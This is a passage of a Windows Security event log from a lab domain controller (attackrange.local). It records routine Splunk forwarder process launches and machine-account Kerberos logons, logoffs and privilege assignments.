			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:35:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256622
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:35:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256621
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:35:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256623
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x558
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:35:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256624
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:35:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256625
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:35:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256626
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa50
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:35:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256627
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:35:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256630
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x436715

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:35:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256629
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x436715
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65454

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:35:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256628
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x436715

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:36:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256631
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x638
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:36:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256633
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:36:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256632
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x810
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:36:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256634
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x970
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:36:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256635
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x714
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:36:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256636
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:36:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256637
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:36:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256640
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43AD00

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:36:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256639
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43AD00
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		65467

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:36:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256638
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43AD00

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:37:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256646
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x43B01E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:37:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256645
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x43B01E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65471

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

